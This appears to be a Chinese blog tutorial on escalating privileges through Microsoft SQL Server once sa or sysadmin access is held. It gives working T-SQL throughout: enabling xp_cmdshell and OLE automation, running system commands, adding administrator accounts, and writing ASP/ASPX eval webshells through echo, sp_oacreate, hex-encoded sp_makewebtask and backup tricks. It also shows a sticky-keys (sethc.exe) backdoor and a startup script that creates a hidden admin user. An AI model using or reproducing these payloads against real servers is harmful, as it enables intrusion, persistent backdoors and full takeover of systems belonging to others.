Sql Server提权拿权限的一些操作

MSSQL权限级别

**sa权限:**数据库操作,文件管理,命令执行,注册表读取等价于system,SQLServer数据库的最高权限
**db权限:**文件管理,数据库操作等价于 users-administrators
**public权限:**数据库操作等价于 guest-users

xp_cmdshell

xp_cmdshell 是 SQL Server 中的一个特殊存储过程。它允许执行操作系统命令并返回结果。xp_cmdshell 可以在 SQL Server 2000 及更高版本中使用。

然而,需要注意的是,在 SQL Server 2005 及更高版本中,默认情况下禁用了 xp_cmdshell 。这是出于安全考虑,以防止未经授权的访问和潜在的滥用。开启 xp_cmdshell 可能会增加系统的安全风险,因此必须谨慎使用,并确保只有受信任的用户可以访问它。

查看xp_cmdshell状态

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

在这里插入图片描述

返回1表示xp_cmdshell组件启用

开启xp_cmdshell

如果你需要在 SQL Server 2005 及更高版本中使用 xp_cmdshell ,你需要具有 sysadmin 固定服务器角色的权限。通过以下步骤可以启用它:

使用 sa 或具有 sysadmin 权限的帐户登录 SQL Server。
执行以下命令启用 xp_cmdshell 存储过程:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

在这里插入图片描述

执行系统命令

执行命令判断sa用户的权限

EXEC master.dbo.xp_cmdshell 'ipconfig'
exec xp_cmdshell "ipconfig"
master..xp_cmdshell 'ipconfig'    (2008版上好像用不了)
EXEC master..xp_cmdshell "ipconfig"
四选一不行就换
注意:如果出现代码5的错误,大可能是杀软拦截

在这里插入图片描述

如果权限是system,可以执行命令添加用户

exec master.dbo.xp_cmdshell "net user test12 123123 /add"
exec master.dbo.xp_cmdshell "net localgroup administrators test12 /add"
exec master.dbo.xp_cmdshell "net user test12"

完成攻击后,将xp_cmdshell命令修改为禁用

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

GETSHELL

# asp
?id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > c:\\phpstudy\\www\\2.asp' -- 

# aspx
?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^>>c:\\phpstudy\\www\\2.aspx' –

也可以执行系统命令 把命令结果输出到指定文件

EXEC master.dbo.xp_cmdshell 'whoami >>c:\\phpstudy\\www\\ip.txt'

sp_oacreate

1、sp_oacreate是一个系统存储过程,可以用于执行文件删除、复制、移动等操作。它还可以与sp_oamethod系统存储过程一起使用,通过调用系统的wscript.shell来执行系统命令。换句话说,sp_oacreate用于创建某些脚本语言对象,而sp_oamethod用于执行这些脚本语言对象的方法。

**2、**系统管理员可以使用sp_configure进行配置,启用对OLE自动化过程(OLE Automation Procedures)的访问,其中包括sp_oacreatesp_oamethod系统存储过程。这样一来,管理员就具备了执行相关操作的权限。

**3、**在功能方面,sp_oacreatesp_oamethodxp_cmdshell存储过程类似。因此,在xp_cmdshell被删除或禁用的情况下,可以尝试使用sp_oacreatesp_oamethod来实现相同的效果,从而提升权限或执行系统级操作。

利用条件

**1、**已获取到sqlserver sysadmin权限用户的账号与密码且未降权(如2019版本sa用户权限为mssqlserver,已降权)

**2、**sqlserver允许远程连接

**3、**OLE Automation Procedures选项开启

查看sp_oacreate状态

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';

在这里插入图片描述

启用OLE Automation Procedures选项

当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动 OLE 共享执行环境。

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;

在这里插入图片描述

关闭组件命令

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;

执行系统命令

写入文件

0代表成功

declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt';

在这里插入图片描述

删除文件

declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:\test.txt'
exec sp_oadestroy @fso_token

在这里插入图片描述

复制文件

declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'

移动文件

declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'movefile',null,'c:\1.txt','c:\3.txt'

替换粘滞键

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe'
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo i=out
exec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'

启动项中写入添加账户脚本

declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

COM组件的利用(cmd.exe可以自行上传)

declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; 
exec sp_oamethod @luan,'exec',@exec output,'C:\\phpstudy\\www\\test.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;

四种文件写入的方法

这几种文件写入的方法需要满足物理路径已知,拥有sa权限。

第一种存储过程写文件

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\\phpstudy\\www\\cbd.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' 

第二种存储过程写文件

declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;--

第三种 log备份

alter database 库名 set RECOVERY FULL 
create table cmd (a image) 
backup log 库名 to disk = 'c:\' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log 库名 to disk = 'c:\2.asp'

第四种 差异备份

backup database 库名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值